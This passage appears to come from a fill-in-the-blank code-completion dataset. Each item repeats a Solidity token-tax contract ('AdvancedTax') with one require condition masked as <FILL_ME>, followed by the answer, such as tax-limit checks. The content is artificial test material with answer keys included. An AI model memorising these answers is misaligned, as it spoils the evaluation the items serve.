/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _marketingRate+_buyLotteryRate+_buyAcapRate+_buyApadRate==100,"the sum must be 100" | 245,575 | _marketingRate+_buyLotteryRate+_buyAcapRate+_buyApadRate==100 |
"The total tax on buys can never exceed 20 percent" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
require(_minimumTax <= 20, "the minimum tax cannot exceed 20%");
require(_buyTaxRange <= 20, "The buy tax range cannot exceed 20%");
require(<FILL_ME>)
minimumBuyTax = _minimumTax;
buyTaxRange = _buyTaxRange;
emit SetBuyTax(_minimumTax, _buyTaxRange);
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _minimumTax+_buyTaxRange<=20,"The total tax on buys can never exceed 20 percent" | 245,575 | _minimumTax+_buyTaxRange<=20 |
"the sum must be 100" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
require(_sellMarketingRate <= 25, "_marketingRate cannot exceed 25%");
require(_sellLotteryRate <= 100, "_lotteryRate cannot exceed 100%");
require(_sellAcapRate <= 20, "_sellAcapRate cannot exceed 20%");
require(_sellApadRate <= 20, "_sellApadRate cannot exceed 20%");
require(<FILL_ME>)
sellMarketingRate = _sellMarketingRate;
sellLotteryRate = _sellLotteryRate;
sellAcapRate = _sellAcapRate;
sellApadRate = _sellApadRate;
emit SetSellRates(
_sellMarketingRate,
_sellLotteryRate,
_sellAcapRate,
_sellApadRate
);
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _sellMarketingRate+_sellLotteryRate+_sellAcapRate+_sellApadRate==100,"the sum must be 100" | 245,575 | _sellMarketingRate+_sellLotteryRate+_sellAcapRate+_sellApadRate==100 |
"The maximum effective sell tax can never exceed 25 percent" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
require(
_maximumSellTax <= 25,
"the maximum sell tax cannot exceed 25 percent"
);
require(
_maximumSellTaxRefund <= _maximumSellTax,
"The refund rate must be less than the maximum tax"
);
require(<FILL_ME>)
maximumSellTax = _maximumSellTax;
maximumSellTaxRefund = _maximumSellTaxRefund;
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _maximumSellTax-_maximumSellTaxRefund<=25,"The maximum effective sell tax can never exceed 25 percent" | 245,575 | _maximumSellTax-_maximumSellTaxRefund<=25 |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
require(
_tieredPercentages.length == 3,
"you have to give an array with 3 values"
);
require(<FILL_ME>)
require(_tieredPercentages[1] == 10);
require(_tieredPercentages[2] < 20);
tieredTaxPercentage[0] = _tieredPercentages[0];
tieredTaxPercentage[1] = _tieredPercentages[1];
tieredTaxPercentage[2] = _tieredPercentages[2];
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _tieredPercentages[0]<=10 | 245,575 | _tieredPercentages[0]<=10 |
null | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
